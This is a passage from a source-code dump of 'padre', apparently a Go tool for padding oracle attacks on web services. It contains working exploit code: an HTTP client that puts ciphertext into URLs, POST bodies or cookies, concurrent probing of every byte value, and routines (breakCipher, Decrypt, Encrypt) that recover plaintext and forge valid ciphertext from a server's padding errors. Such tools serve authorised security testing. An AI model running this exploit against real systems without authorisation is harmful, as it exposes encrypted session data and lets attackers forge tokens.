lowerConnections)\n\t\t\t}\n\t\t\tbar.Stop()\n\t\t} else {\n\t\t\t// decrypt mode\n\t\t\tif input == \"\" {\n\t\t\t\terr = fmt.Errorf(\"empty input\")\n\t\t\t\tgoto Error\n\t\t\t}\n\n\t\t\t// decode input into bytes\n\t\t\tvar ciphertext []byte\n\t\t\tciphertext, err = args.Encoder.DecodeString(input)\n\t\t\tif err != nil {\n\t\t\t\thints = append(hints, checkInput)\n\t\t\t\thints = append(hints, checkEncoding)\n\t\t\t\tgoto Error\n\t\t\t}\n\n\t\t\t// init hacky bar\n\t\t\tbar = out.CreateHackyBar(encoder.NewASCIIencoder(), len(ciphertext)-bl, *args.EncryptMode, print)\n\n\t\t\t// provide HTTP client with event-channel, so we can count RPS\n\t\t\tclient.RequestEventChan = bar.ChanReq\n\n\t\t\t// do decryption\n\t\t\tbar.Start()\n\t\t\toutput, err = padre.Decrypt(ciphertext, bar.ChanOutput)\n\t\t\tbar.Stop()\n\t\t\tif err != nil {\n\t\t\t\tgoto Error\n\t\t\t}\n\t\t}\n\n\t\t// warn about output overflow\n\t\tif bar.Overflow && util.IsTerminal(stdout) {\n\t\t\tprint.Warning(\"Output was too wide to fit to you terminal. Redirect STDOUT somewhere to get full output\")\n\t\t}\n\n\tError:\n\n\t\t// in case of error, skip to the next input\n\t\tif err != nil {\n\t\t\tprint.Error(err)\n\t\t\terrCount++\n\t\t\tif len(hints) > 0 {\n\t\t\t\tprintHints(print, hints)\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\t// write output only if output is redirected to file or piped\n\t\t// this is because outputs already will be in status output\n\t\t// so printing them to STDOUT again is not necessary\n\t\tif !util.IsTerminal(stdout) {\n\t\t\t/* in case of encryption, additionally encode the produced output */\n\t\t\tif *args.EncryptMode {\n\t\t\t\toutputStr := args.Encoder.EncodeToString(output)\n\t\t\t\t_, err = stdout.WriteString(outputStr + \"\\n\")\n\t\t\t\tif err != nil {\n\t\t\t\t\t// do not tolerate errors in output writer\n\t\t\t\t\tprint.Error(err)\n\t\t\t\t\tos.Exit(1)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tstdout.Write(append(output, '\\n'))\n\t\t\t}\n\t\t}\n\t}\n\n\t/* non-zero return code if all inputs were errornous */\n\tif len(inputs) == errCount {\n\t\tos.Exit(2)\n\t}\n}\n"
  },
  {
    "path": "pkg/client/client.go",
    "content": "package client\n\nimport (\n\t\"context\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\n\t\"github.com/glebarez/padre/pkg/encoder\"\n)\n\n// Client - API to perform HTTP Requests to a remote server.\n// Very specific to padre, in that it sends queries to a specific URL\n// that carries out the decryption and can spill padding oracle\ntype Client struct {\n\t// underlying net/http client\n\tHTTPclient *http.Client\n\n\t// the following data will form the HTTP request payloads.\n\t// if placeholder is met among those data, it will be replaced\n\t// with encoded representation ciphertext\n\tURL      string\n\tPOSTdata string\n\tCookies  []*http.Cookie\n\n\t// placeholder to replace with encoded ciphertext\n\tCipherPlaceholder string\n\n\t// encoder that is used to transform binary ciphertext\n\t// into plaintext representation. this must comply with\n\t//  what remote server uses (e.g. Base64, Hex, etc)\n\tEncoder encoder.Encoder\n\n\t// HTTP concurrency (maximum number of simultaneous connections)\n\tConcurrency int\n\n\t// the content type of to be sent HTTP requests\n\tContentType string\n\n\t// if this channel is not nil, it will be provided with byte value every time\n\t// the new HTTP request is made, so that RPS stats can be collected from\n\t// outside parties\n\tRequestEventChan chan byte\n}\n\n// DoRequest - send HTTP request with cipher, encoded according to config\nfunc (c *Client) DoRequest(ctx context.Context, cipher []byte) (*Response, error) {\n\t// encode the cipher\n\tcipherEncoded := c.Encoder.EncodeToString(cipher)\n\n\t// build URL\n\turl, err := url.Parse(replacePlaceholder(c.URL, c.CipherPlaceholder, cipherEncoded))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// create request\n\treq := &http.Request{\n\t\tURL:    url,\n\t\tHeader: http.Header{},\n\t}\n\n\t// upgrade to POST if data is provided\n\tif c.POSTdata != \"\" {\n\t\t// perform data for POST body\n\t\treq.Method = \"POST\"\n\t\tdata := replacePlaceholder(c.POSTdata, c.CipherPlaceholder, cipherEncoded)\n\t\treq.Body = ioutil.NopCloser(strings.NewReader(data))\n\n\t\t// set content type\n\t\treq.Header[\"Content-Type\"] = []string{c.ContentType}\n\t}\n\n\t// add cookies if any\n\tif c.Cookies != nil {\n\t\tfor _, cookie := range c.Cookies {\n\t\t\t// add cookies\n\t\t\treq.AddCookie(&http.Cookie{\n\t\t\t\tName:  cookie.Name,\n\t\t\t\tValue: replacePlaceholder(cookie.Value, c.CipherPlaceholder, cipherEncoded),\n\t\t\t})\n\t\t}\n\t}\n\n\t// add context if passed\n\tif ctx != nil {\n\t\treq = req.WithContext(ctx)\n\t}\n\n\t// send request\n\tresp, err := c.HTTPclient.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\n\t// report about made request to status\n\tif c.RequestEventChan != nil {\n\t\tc.RequestEventChan <- 1\n\t}\n\n\t// read body\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Response{StatusCode: resp.StatusCode, Body: body}, nil\n}\n"
  },
  {
    "path": "pkg/client/client_test.go",
    "content": "package client\n\nimport (\n\t\"context\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/url\"\n\t\"testing\"\n\n\t\"github.com/glebarez/padre/pkg/encoder\"\n\t\"github.com/glebarez/padre/pkg/util\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestClient_DoRequest(t *testing.T) {\n\t// require start here\n\trequire := require.New(t)\n\n\t// channel to propagate requests\n\trequestChan := make(chan *http.Request, 1)\n\n\t// special handler for propagating the channel\n\thandler := func(w http.ResponseWriter, r *http.Request) {\n\t\t// propagate received request\n\t\trequestChan <- r\n\n\t\t// copy request body into the response\n\t\tresponseBody, err := ioutil.ReadAll(r.Body)\n\t\trequire.NoError(err)\n\n\t\t// fill the response writer\n\t\t_, err = w.Write(responseBody)\n\t\trequire.NoError(err)\n\t}\n\n\t// new test server\n\tts := httptest.NewServer(http.HandlerFunc(handler))\n\tdefer ts.Close()\n\n\t// mock http client\n\trequestEventChan := make(chan byte, 1)\n\n\t// chose encoder\n\tencoder := encoder.NewB64encoder(\"\")\n\n\t// create test client\n\ttestURI := \"/?data=$\"\n\n\tclient := &Client{\n\t\tHTTPclient:        ts.Client(),\n\t\tURL:               ts.URL + testURI,\n\t\tPOSTdata:          \"data=$\",\n\t\tCookies:           []*http.Cookie{{Name: \"key\", Value: \"$\"}},\n\t\tCipherPlaceholder: \"$\",\n\t\tEncoder:           encoder,\n\t\tConcurrency:       1,\n\t\tContentType:       \"cont/type\",\n\t\tRequestEventChan:  requestEventChan,\n\t}\n\n\t// total requests to be sent\n\ttotalRequestCount := 100\n\n\t// counter for received requests\n\ttotalRequestsReceived := 0\n\n\t// send some requests with random data\n\tfor i := 0; i < totalRequestCount; i++ {\n\t\t// generate random chunk\n\t\tdata := util.RandomSlice(13)\n\t\tdataEncoded := encoder.EncodeToString(data)\n\n\t\t// send\n\t\tresponse, err := client.DoRequest(context.Background(), data)\n\t\trequire.NoError(err)\n\n\t\t// retrieve request event\n\t\ttotalRequestsReceived += int(<-requestEventChan)\n\n\t\t// retrieve request that was sent to mocked http client\n\t\trequest := <-requestChan\n\n\t\t// check URL formed properly\n\t\trequire.Equal(replacePlaceholder(testURI, \"$\", dataEncoded), request.RequestURI)\n\n\t\t// check Body formed properly\n\t\trequire.Equal(replacePlaceholder(client.POSTdata, \"$\", dataEncoded), string(response.Body))\n\n\t\t// check Cookie formed properly\n\t\tcookie, err := request.Cookie(\"key\")\n\t\trequire.NoError(err)\n\t\trequire.Equal(url.QueryEscape(dataEncoded), cookie.Value)\n\n\t\t// check content type\n\t\trequire.Equal(request.Header.Get(\"Content-Type\"), \"cont/type\")\n\n\t}\n\n\t// check total requests reported\n\trequire.Equal(totalRequestCount, totalRequestsReceived)\n}\n\nfunc TestClient_BrokenURL(t *testing.T) {\n\tclient := &Client{URL: \" http://foo.com\", Encoder: encoder.NewB64encoder(\"\")}\n\t_, err := client.DoRequest(context.Background(), []byte{})\n\trequire.Error(t, err)\n}\n\nfunc TestClient_NotRespondingServer(t *testing.T) {\n\tclient := &Client{\n\t\tHTTPclient: http.DefaultClient,\n\t\tURL:        \"http://localhost:1\",\n\t\tEncoder:    encoder.NewB64encoder(\"\"),\n\t}\n\t_, err := client.DoRequest(context.Background(), []byte{})\n\trequire.Error(t, err)\n}\n"
  },
  {
    "path": "pkg/client/probe.go",
    "content": "package client\n\nimport (\n\t\"context\"\n\t\"sync\"\n)\n\n// equals to 2**8, since we're testing every possible value of a byte\nconst probeCount = 256\n\n// ProbeResult - result of probe\ntype ProbeResult struct {\n\tByte     byte\n\tResponse *Response\n\tErr      error\n}\n\n// SendProbes -  given a chunk of bytes, place every possible byte-value at specified position.\n// These probes are sent concurrently over HTTP.\n// The results will be written into chanResult channel\nfunc (client *Client) SendProbes(ctx context.Context, chunk []byte, pos int, chanResult chan *ProbeResult) {\n\t// send byte values into this\n\tchanIn := make(chan byte, probeCount)\n\n\t/* run workers */\n\twg := sync.WaitGroup{}\n\tfor i := 0; i < client.Concurrency; i++ {\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\n\t\t\t// copy chunk to produce local concurrent-safe copy\n\t\t\tchunkCopy := copySlice(chunk)\n\n\t\t\t// do the work\n\t\t\tfor {\n\t\t\t\tselect {\n\t\t\t\tcase <-ctx.Done():\n\t\t\t\t\t// early exit if context is cancelled\n\t\t\t\t\treturn\n\t\t\t\tcase b, ok := <-chanIn:\n\t\t\t\t\t// exit when input channel exhausted\n\t\t\t\t\tif !ok {\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\t// modify byte at given position\n\t\t\t\t\tchunkCopy[pos] = b\n\n\t\t\t\t\t// make HTTP request\n\t\t\t\t\tresp, err := client.DoRequest(ctx, chunkCopy)\n\t\t\t\t\tif ctx.Err() == context.Canceled {\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t// error during HTTP request\n\t\t\t\t\t\tchanResult <- &ProbeResult{\n\t\t\t\t\t\t\tByte: b,\n\t\t\t\t\t\t\tErr:  err,\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// send response\n\t\t\t\t\t\tchanResult <- &ProbeResult{\n\t\t\t\t\t\t\tByte:     b,\n\t\t\t\t\t\t\tResponse: resp,\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\n\t/* close output channel when workers are done */\n\tgo func() {\n\t\twg.Wait()\n\t\tclose(chanResult)\n\t}()\n\n\t/* input generator: every possible byte value */\n\tgo func() {\n\t\tfor i := 0; i <= 0xff; i++ {\n\t\t\tchanIn <- byte(i)\n\t\t}\n\t\tclose(chanIn)\n\t}()\n}\n"
  },
  {
    "path": "pkg/client/probe_test.go",
    "content": "package client\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/url\"\n\t\"testing\"\n\n\t\"github.com/glebarez/padre/pkg/encoder\"\n\t\"github.com/glebarez/padre/pkg/util\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestClient_SendProbes(t *testing.T) {\n\treqBodyChan := make(chan []byte, 1)\n\n\t// special handler for propagating request body into channel\n\thandler := func(w http.ResponseWriter, r *http.Request) {\n\t\t// copy request body into the response\n\t\tbody, err := ioutil.ReadAll(r.Body)\n\t\trequire.NoError(t, err)\n\t\treqBodyChan <- body\n\t\tfmt.Fprintln(w, \"grabbed\")\n\t}\n\n\t// new test server\n\tts := httptest.NewServer(http.HandlerFunc(handler))\n\tdefer ts.Close()\n\n\t// chose encoder\n\tencoder := encoder.NewB64encoder(\"\")\n\n\t// create test client\n\ttestURI := \"/\"\n\n\tclient := &Client{\n\t\tHTTPclient:        ts.Client(),\n\t\tURL:               ts.URL + testURI,\n\t\tPOSTdata:          \"$\",\n\t\tCipherPlaceholder: \"$\",\n\t\tEncoder:           encoder,\n\t\tConcurrency:       1,\n\t}\n\n\t// generate random chunk\n\tdata := util.RandomSlice(20)\n\n\t// test every position for a probe\n\tfor pos := 0; pos < len(data); pos++ {\n\t\t// create channel for probe results\n\t\tchanProbeResult := make(chan *ProbeResult, 1)\n\n\t\t// send probes\n\t\tgo client.SendProbes(context.Background(), data, pos, chanProbeResult)\n\n\t\t// get probe result\n\t\tfor probeResult := range chanProbeResult {\n\t\t\trequire.NoError(t, probeResult.Err)\n\n\t\t\t// derive expected probe data\n\t\t\texpectedProbe := copySlice(data)\n\t\t\texpectedProbe[pos] = probeResult.Byte\n\n\t\t\t// derive made probe data\n\t\t\t// get request body received by the test server\n\t\t\trequestBody, err := url.QueryUnescape(string(<-reqBodyChan))\n\t\t\trequire.NoError(t, err)\n\n\t\t\tmadeProbe, err := encoder.DecodeString(requestBody)\n\t\t\trequire.NoError(t, err)\n\n\t\t\t// compare the two\n\t\t\trequire.Equal(t, expectedProbe, madeProbe)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pkg/client/response.go",
    "content": "package client\n\n// Response - HTTP Response data\ntype Response struct {\n\tStatusCode int\n\tBody       []byte\n}\n"
  },
  {
    "path": "pkg/client/util.go",
    "content": "package client\n\nimport (\n\t\"net/url\"\n\t\"strings\"\n)\n\n// replace all occurrences of $ placeholder in a string, url-encoded if desired\nfunc replacePlaceholder(s, placeholder, replacement string) string {\n\treplacement = url.QueryEscape(replacement)\n\treturn strings.Replace(s, placeholder, replacement, -1)\n}\n\n// creates copy of a slice\nfunc copySlice(slice []byte) []byte {\n\tsliceCopy := make([]byte, len(slice))\n\tcopy(sliceCopy, slice)\n\treturn sliceCopy\n}\n"
  },
  {
    "path": "pkg/color/color.go",
    "content": "package color\n\nimport (\n\t\"os\"\n\t\"regexp\"\n\n\t\"github.com/fatih/color\"\n\t\"github.com/mattn/go-isatty\"\n)\n\nvar colorMatcher *regexp.Regexp\n\nvar Error = color.Error\n\nfunc init() {\n\t// override the standard decision on No-color mode\n\tcolor.NoColor = os.Getenv(\"TERM\") == \"dumb\" ||\n\t\t(!isatty.IsTerminal(os.Stderr.Fd()) && !isatty.IsCygwinTerminal(os.Stderr.Fd()))\n\t// matcher for coloring terminal sequences\n\tcolorMatcher = regexp.MustCompile(\"\\033\\\\[.*?m\")\n}\n\n/* coloring stringers */\nvar (\n\tRed         = color.New(color.FgRed).SprintFunc()\n\tBold        = color.New(color.Bold).SprintFunc()\n\tYellow      = color.New(color.FgYellow).SprintFunc()\n\tRedBold     = color.New(color.FgRed, color.Bold).SprintFunc()\n\tCyanBold    = color.New(color.FgCyan, color.Bold).SprintFunc()\n\tCyan        = color.New(color.FgCyan).SprintFunc()\n\tGreenBold   = color.New(color.FgGreen, color.Bold).SprintFunc()\n\tGreen       = color.New(color.FgGreen).SprintFunc()\n\tHiGreenBold = color.New(color.FgHiGreen, color.Bold).SprintFunc()\n\tUnderline   = color.New(color.Underline).SprintFunc()\n\tYellowBold  = color.New(color.FgYellow, color.Bold).SprintFunc()\n)\n\n// StripColor - strips ANSI color control characters from a string\nfunc StripColor(s string) string {\n\treturn colorMatcher.ReplaceAllString(s, \"\")\n}\n\n// TrueLen returns true length of a colorized string in characters\nfunc TrueLen(s string) int {\n\treturn len(StripColor(s))\n}\n"
  },
  {
    "path": "pkg/color/color_test.go",
    "content": "package color\n\nimport \"testing\"\n\nfunc TestTrueLen(t *testing.T) {\n\ttype args struct {\n\t\ts string\n\t}\n\ttests := []struct {\n\t\tname string\n\t\targs args\n\t\twant int\n\t}{\n\t\t{\"nocolor\", args{\"\"}, 0},\n\t\t{\"nocolor\", args{\"x\"}, 1},\n\t\t{\"nocolor\", args{\"xxx\"}, 3},\n\t\t{\"colored\", args{YellowBold(\"\")}, 0},\n\t\t{\"colored\", args{YellowBold(\"x\")}, 1},\n\t\t{\"colored\", args{YellowBold(\"xxx\")}, 3},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tif got := TrueLen(tt.args.s); got != tt.want {\n\t\t\t\tt.Errorf(\"TrueLen() = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/encoder/ascii.go",
    "content": "package encoder\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n)\n\n// ASCII encoder\ntype asciiEncoder struct{}\n\n// escapes non standard ASCII with \\x notation\nfunc (e asciiEncoder) EncodeToString(input []byte) string {\n\toutput := strings.Builder{}\n\tfor _, b := range input {\n\t\tif b >= 32 && b <= 127 {\n\t\t\t// ascii printable\n\t\t\terr := output.WriteByte(b)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t} else {\n\t\t\t_, err := output.WriteString(fmt.Sprintf(\"\\\\x%02x\", b))\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t}\n\t}\n\treturn output.String()\n}\n\n// ... just to comply with interface\nfunc (e asciiEncoder) DecodeString(input string) ([]byte, error) {\n\tpanic(\"Not implemented\")\n}\n"
  },
  {
    "path": "pkg/encoder/ascii_test.go",
    "content": "package encoder\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc Test_asciiEncoder_EncodeToString(t *testing.T) {\n\te := NewASCIIencoder()\n\n\ttype args struct {\n\t\tinput []byte\n\t}\n\ttests := []struct {\n\t\tname string\n\t\te    Encoder\n\t\targs args\n\t\twant string\n\t}{\n\t\t{\"empty\", e, args{[]byte(``)}, ``},\n\t\t{\"nonascii\", e, args{[]byte{0, 1, 255}}, `\\x00\\x01\\xff`},\n\t\t{\"ascii\", e, args{[]byte(`test`)}, `test`},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\te := asciiEncoder{}\n\t\t\tif got := e.EncodeToString(tt.args.input); got != tt.want {\n\t\t\t\tt.Errorf(\"asciiEncoder.EncodeToString() = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc Test_asciiEncoder_DecodeString(t *testing.T) {\n\te := &asciiEncoder{}\n\n\tdecode := func() {\n\t\te.DecodeString(\"\") //nolint\n\t}\n\n\trequire.Panicsf(t, decode, \"\", \"\")\n\n}\n"
  },
  {
    "path": "pkg/encoder/factory.go",
    "content": "package encoder\n\nimport \"encoding/base64\"\n\nfunc NewB64encoder(replacements string) Encoder {\n\treturn newEncoderWithReplacer(base64.StdEncoding, replacements)\n}\n\nfunc NewLHEXencoder(replacements string) Encoder {\n\treturn newEncoderWithReplacer(&lhexEncoder{}, replacements)\n}\n\nfunc NewASCIIencoder() Encoder {\n\treturn &asciiEncoder{}\n}\n"
  },
  {
    "path": "pkg/encoder/hex.go",
    "content": "package encoder\n\nimport \"encoding/hex\"\n\n// lowercase hex encoder/decoder\ntype lhexEncoder struct{}\n\nfunc (h *lhexEncoder) EncodeToString(input []byte) string {\n\treturn hex.EncodeToString(input)\n}\n\nfunc (h *lhexEncoder) DecodeString(input string) ([]byte, error) {\n\treturn hex.DecodeString(input)\n}\n"
  },
  {
    "path": "pkg/encoder/interface.go",
    "content": "package encoder\n\n// Encoder - performs encoding/decoding\ntype Encoder interface {\n\tEncodeToString([]byte) string\n\tDecodeString(string) ([]byte, error)\n}\n\n// DecodeError ...\ntype DecodeError string\n\nfunc (e DecodeError) Error() string { return string(e) }\n"
  },
  {
    "path": "pkg/encoder/replacer.go",
    "content": "package encoder\n\nimport (\n\t\"strings\"\n\n\t\"github.com/glebarez/padre/pkg/util\"\n)\n\n/* wrapper for encoderDecoder with characters replacements */\ntype encoderWithReplacer struct {\n\tencoder                Encoder\n\treplacerAfterEncoding  *strings.Replacer\n\treplacerBeforeDecoding *strings.Replacer\n}\n\n// encode with replacement\nfunc (r *encoderWithReplacer) EncodeToString(input []byte) string {\n\tencoded := r.encoder.EncodeToString(input)\n\treturn r.replacerAfterEncoding.Replace(encoded)\n}\n\n// decode with replacement\nfunc (r *encoderWithReplacer) DecodeString(input string) ([]byte, error) {\n\tencoded := r.replacerBeforeDecoding.Replace(input)\n\tdecoded, err := r.encoder.DecodeString(encoded)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn decoded, nil\n}\n\n// wrapper creator\nfunc newEncoderWithReplacer(encoder Encoder, replacements string) Encoder {\n\treturn &encoderWithReplacer{\n\t\tencoder:                encoder,\n\t\treplacerAfterEncoding:  strings.NewReplacer(strings.Split(replacements, \"\")...),\n\t\treplacerBeforeDecoding: strings.NewReplacer(strings.Split(util.ReverseString(replacements), \"\")...),\n\t}\n}\n"
  },
  {
    "path": "pkg/encoder/replacer_test.go",
    "content": "package encoder\n\nimport (\n\t\"encoding/base64\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/glebarez/padre/pkg/util\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestReplacer(t *testing.T) {\n\n\t// test cases\n\ttests := []struct {\n\t\tname        string\n\t\tencoder     Encoder\n\t\treplFactory func(replacements string) Encoder\n\t\treplString  string\n\t}{\n\t\t{\"b64\", base64.StdEncoding, NewB64encoder, `=~/!+^`},\n\t\t{\"lhex\", &lhexEncoder{}, NewLHEXencoder, `0zfyeT`},\n\t}\n\n\t// run tests\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\t// generate random byte string\n\t\t\tbyteData := util.RandomSlice(20)\n\n\t\t\t// encode with basic encoder\n\t\t\tencodedData := tt.encoder.EncodeToString(byteData)\n\n\t\t\t// replace characters\n\t\t\tencodedData = strings.NewReplacer(strings.Split(tt.replString, \"\")...).Replace(encodedData)\n\n\t\t\t// compare results\n\t\t\treplacer := tt.replFactory(tt.replString)\n\t\t\trequire.Equal(t, replacer.EncodeToString(byteData), encodedData)\n\n\t\t\t// decode back and compare\n\t\t\tdecoded, err := replacer.DecodeString(encodedData)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, decoded, byteData)\n\n\t\t\t// try decoding corrupted string\n\t\t\t_, err = replacer.DecodeString(string(encodedData[:len(encodedData)-1]))\n\t\t\trequire.Error(t, err)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/exploit/decrypt.go",
    "content": "package exploit\n\nimport \"fmt\"\n\nfunc (p *Padre) Decrypt(ciphertext []byte, byteStream chan byte) ([]byte, error) {\n\tblockLen := p.BlockLen\n\n\t// check length of ciphertext against block length\n\tif len(ciphertext)%blockLen != 0 {\n\t\treturn nil, fmt.Errorf(\"Ciphertext length is not compatible with block length (%d %% %d != 0)\", len(ciphertext), blockLen)\n\t}\n\n\t// confirm validity of provided cipher\n\tpe, err := p.IsPaddingErrorInChunk(ciphertext)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif pe {\n\t\treturn nil, fmt.Errorf(\"Input cipher produced a padding error. You must provide a valid cipher to decrypt\")\n\t}\n\n\t// count blocks\n\tblockCount := len(ciphertext) / blockLen\n\n\t// derive length of plaintext\n\t// NOTE: first block considered to be IV\n\tplainLen := len(ciphertext) - blockLen\n\tplainText := make([]byte, plainLen)\n\n\t// decrypt block by block moving backwards, except first (IV)\n\tfor blockNum := blockCount; blockNum >= 2; blockNum-- {\n\t\t// mark indexes\n\t\tx := (blockNum - 2) * blockLen\n\t\ty := (blockNum - 1) * blockLen\n\t\tz := blockNum * blockLen\n\n\t\t// get cipher block and corresponding IV from ciphertext\n\t\tIV, block := ciphertext[x:y], ciphertext[y:z]\n\n\t\t// derive the nulling IV for the block\n\t\tnullingIV, err := p.breakCipher(block, newXORingStreamer(IV, byteStream))\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error occurred while decrypting block %d: %w\", blockNum, err)\n\t\t}\n\n\t\t// derive plaintext block\n\t\tcopy(plainText[x:y], xorSlices(nullingIV, IV))\n\t}\n\n\treturn plainText, nil\n}\n"
  },
  {
    "path": "pkg/exploit/encrypt.go",
    "content": "package exploit\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/glebarez/padre/pkg/util\"\n)\n\nfunc (p *Padre) Encrypt(plainText string, byteStream chan byte) ([]byte, error) {\n\tblockLen := p.BlockLen\n\n\t// pad\n\tplainText = Pkcs7Pad(plainText, blockLen)\n\n\t// count the blocks\n\tblockCount := len(plainText) / blockLen\n\n\t// initialize a slice that will contain our cipherText (blockCount + 1 for IV)\n\tcipher := make([]byte, (blockLen * (blockCount + 1)))\n\n\t// last block is generated randomly\n\tlastBlock := util.RandomSlice(blockLen)\n\tcopy(cipher[len(cipher)-blockLen:], lastBlock)\n\n\t// the last block is already known, so we can fetch the bytes\n\t// NOTE: they are fetcher in reverse order, just like any other byte throughout this exploit\n\tif byteStream != nil {\n\t\tfor i := len(lastBlock) - 1; i >= 0; i-- {\n\t\t\tbyteStream <- lastBlock[i]\n\t\t}\n\t}\n\n\t/* Start with the last block and move towards the 1st block.\n\tEach block is used successively as a IV and then as a cipherText in the next iteration */\n\tfor blockNum := blockCount; blockNum >= 1; blockNum-- {\n\t\t// mark indexes\n\t\tx := (blockNum - 1) * blockLen\n\t\ty := blockNum * blockLen\n\t\tz := (blockNum + 1) * blockLen\n\n\t\tplainBlock := []byte(plainText)[x:y]\n\n\t\t// get nulling IV\n\t\tnullingIV, err := p.breakCipher(cipher[y:z], newXORingStreamer(plainBlock, byteStream))\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error occurred while encrypting block %d: %w\", blockNum, err)\n\t\t}\n\n\t\t// reveal the cipher\n\t\tcopy(cipher[x:y], xorSlices(plainBlock, nullingIV))\n\t}\n\treturn cipher, nil\n}\n"
  },
  {
    "path": "pkg/exploit/exploit.go",
    "content": "package exploit\n\n/* implementation of Padding Oracle exploit algorithm */\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/glebarez/padre/pkg/util\"\n)\n\n// breaks cipher for a given block of ciphertext\n// returns bytes (NullingIV) that are turning underlying plaintext into null-byte sequence when sent as IV\n// the NullingIV can then be used in encryption or decryption, depending on what you XOR it with\n// the streamFetcher can be passed to deliver bytes in in real-time as soon as they discovered\nfunc (p *Padre) breakCipher(cipherBlock []byte, byteStreamer func(byte)) ([]byte, error) {\n\tblockLen := len(cipherBlock)\n\n\t// output buffer\n\toutput := make([]byte, blockLen)\n\n\t// generate chunk of cipher with prepended random IV\n\tcipherChunk := append(util.RandomSlice(blockLen), cipherBlock...)\n\n\t// we start with the last byte of IV\n\t// and repeat the same procedure for every byte moving backwards\n\tfor pos := blockLen - 1; pos >= 0; pos-- {\n\t\t// discover the bytes that do not produce padding error\n\t\t// NOTE: at last position there may be 2 such bytes*/\n\t\tmaxCount := 1\n\t\tif pos == blockLen-1 {\n\t\t\tmaxCount = 2\n\t\t}\n\n\t\tfound, err := p.getErrorlessByteValues(cipherChunk, pos, maxCount)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t/* check the results */\n\t\tvar foundByte *byte\n\t\tswitch len(found) {\n\t\tcase 0:\n\t\t\treturn nil, fmt.Errorf(\"failed to break the cipher\")\n\t\tcase 1:\n\t\t\tfoundByte = &found[0]\n\t\tcase 2:\n\t\t\t/* this case can ONLY happen in the last position of the block (see maxCount variable above)\n\t\t\there, we found 2 bytes that fit without padding oracle error\n\t\t\tthe challenge here is to find the one that produced \\x01 in plaintext\n\t\t\tthe trick is:\n\t\t\t\tif we modify second-last byte, and padding error still doesn't occur\n\t\t\t\tthen we are sure, that found byte produces \\x01 at last position of plaintext\n\t\t\tfor more info, you can check this thread:\n\t\t\thttps://crypto.stackexchange.com/questions/37608/clarification-on-the-origin-of-01-in-this-oracle-padding-attack\n\t\t\t*/\n\n\t\t\t// modify second-last byte of IV\n\t\t\tcipherChunk[pos-1]++\n\n\t\t\t// send additional probes\n\t\t\tfor _, b := range found {\n\t\t\t\t// set last byte to one of the found\n\t\t\t\tcipherChunk[pos] = b\n\n\t\t\t\t// check for padding error\n\t\t\t\tpaddingError, err := p.IsPaddingErrorInChunk(cipherChunk)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\n\t\t\t\tif !paddingError {\n\t\t\t\t\t// we found the truly valid byte\n\t\t\t\t\tfoundByte = &b\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif foundByte == nil {\n\t\t\t\treturn nil, fmt.Errorf(\"failed to decrypt due to unexpected server behavior\")\n\t\t\t}\n\t\t}\n\n\t\t// XOR to retrieve output byte\n\t\tpaddingValue := byte(blockLen - pos)\n\t\toutByte := *foundByte ^ paddingValue\n\n\t\t// write to output buffer\n\t\toutput[pos] = outByte\n\n\t\t// fetch immediately into byteStreamer if provided\n\t\tif byteStreamer != nil {\n\t\t\tbyteStreamer(outByte)\n\t\t}\n\n\t\t// adjust padding for next iteration\n\t\tcipherChunk[pos] = *foundByte\n\t\tfor i := pos; i < blockLen; i++ {\n\t\t\tcipherChunk[i] ^= paddingValue ^ (paddingValue + 1)\n\t\t}\n\t}\n\treturn output, nil\n}\n"
  },
  {
    "path": "pkg/exploit/padre.go",
